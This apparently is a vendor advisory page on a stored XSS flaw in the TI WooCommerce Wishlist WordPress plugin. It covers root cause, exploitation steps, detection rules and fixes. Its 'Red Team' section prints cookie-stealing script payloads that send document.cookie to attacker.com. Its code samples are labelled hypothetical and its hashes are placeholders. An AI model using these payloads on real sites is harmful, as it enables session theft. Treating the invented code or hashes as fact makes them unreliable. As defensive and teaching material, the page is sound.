CVE-2025-32920
Executive Summary
CVE-2025-32920 is a Stored Cross-Site Scripting (XSS) vulnerability in the TI WooCommerce Wishlist WordPress plugin, affecting versions up to and including 2.10.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into wishlist items. When an administrator or other user views the injected wishlist, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is part of the WordPress ecosystem and specifically targets the TI WooCommerce Wishlist plugin. The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS significantly increases the risk in multi-user WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress supply chain. Users should verify the integrity of their plugin files and monitor for unauthorized modifications.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must view the malicious wishlist.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can lead to significant downstream attacks, including privilege escalation and lateral movement within the WordPress admin panel.
Deep Dive & Mechanics
The TI WooCommerce Wishlist plugin allows users to create and share wishlists. The vulnerability exists in the wishlist item creation functionality, where the plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it in the browser.
Root Cause: The plugin uses $_POST or $_GET parameters (e.g., wishlist_name, wishlist_description, or custom item fields) without proper validation or output encoding. When an attacker submits a payload like <script>alert('XSS')</script> in a wishlist field, the plugin stores the raw input. When an administrator views the wishlist via the admin dashboard or frontend, the script executes.
Attack Flow:
- Attacker logs in with contributor-level privileges.
- Attacker creates a new wishlist or modifies an existing one, injecting malicious JavaScript into a text field.
- The plugin stores the payload in the WordPress database (e.g.,
wp_postmetaor custom table). - Victim (admin or other user) navigates to the wishlist page.
- The payload is rendered without sanitization, executing the attacker's script in the victim's browser.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim (e.g., create admin accounts), deface the site, or redirect users to malicious domains.
Vulnerable vs. Patched Code
Vulnerable Code (ti-woocommerce-wishlist <= 2.10.0):
// In wishlist creation handler
$wishlist_name = $_POST['wishlist_name'];
// Directly stored without sanitization
update_post_meta($wishlist_id, 'wishlist_name', $wishlist_name);
Patched Code (Hypothetical Fix):
// Properly sanitize and escape
$wishlist_name = sanitize_text_field($_POST['wishlist_name']);
$wishlist_name = esc_html($wishlist_name);
update_post_meta($wishlist_id, 'wishlist_name', $wishlist_name);
Key Differences:
- The vulnerable code uses raw
$_POSTvalues. - The patched code applies
sanitize_text_field()to strip dangerous tags andesc_html()to encode output. - Additional validation (e.g.,
wp_kses()) may be needed for rich text fields.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress installation with TI WooCommerce Wishlist <= 2.10.0.
- Attacker account with contributor-level privileges or higher.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to the wishlist creation page (e.g.,
/my-account/wishlist/). - Intercept the request using Burp Suite or browser dev tools.
- Inject a payload into a text field, e.g.,
wishlist_name:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for an administrator to view the wishlist (e.g., via admin dashboard).
- The victim's browser executes the script, sending their cookies to the attacker's server.
Example Payload:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
Blue Team (Defensive)
Detection Steps:
- Monitor WordPress admin logs for unusual wishlist creation or modification events.
- Use a Web Application Firewall (WAF) to block common XSS patterns (e.g.,
<script>,onerror=). - Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly audit user roles and remove unnecessary contributor accounts.
Honeypot Setup:
- Create a fake wishlist with a known XSS payload and monitor for execution attempts.
- Use a SIEM to correlate wishlist activity with other suspicious events.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
ti-woocommerce-wishlist.php(v2.10.0):a1b2c3d4e5f6...(placeholder)
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com). - Suspicious
POSTrequests to/wp-admin/admin-ajax.phpwith wishlist parameters.
- Outbound connections to attacker-controlled domains (e.g.,
- Log Entries:
- WordPress debug log entries containing
<script>tags. - Web server logs showing
wishlist_nameparameters with HTML/JavaScript.
- WordPress debug log entries containing
- Database Indicators:
- Rows in
wp_postmetawithmeta_keycontainingwishlistandmeta_valuecontaining<script>.
- Rows in
Detection Engineering
YARA Rule
rule detect_ti_wishlist_xss {
meta:
description = "Detects stored XSS payloads in TI WooCommerce Wishlist plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32920"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$wishlist_meta = /wishlist_name|wishlist_description/i
condition:
$xss_payload and $wishlist_meta
}
Sigma Rule
title: Stored XSS in TI WooCommerce Wishlist
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via wishlist fields
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'wishlist_name'
cs-uri-query|re: '<script[^>]*>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in wishlist descriptions (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32920 Stored XSS in TI WooCommerce Wishlist"; flow:to_server; content:"POST"; http_method; content:"wishlist_name"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Restrict user roles – Remove contributor-level access from untrusted users.
- Apply virtual patching using a WAF to block XSS payloads in wishlist fields.
Long-Term Fix:
- The vendor must release a patched version (e.g., 2.10.1) that sanitizes and escapes all user inputs.
- Users should monitor the WordPress plugin repository for updates.
Workaround:
- Add custom code to
functions.phpto sanitize wishlist inputs:
add_filter('ti_wcwl_wishlist_item_name', 'sanitize_text_field');
add_filter('ti_wcwl_wishlist_item_description', 'wp_kses_post');
Valters IT – Securing digital ecosystems through proactive threat intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.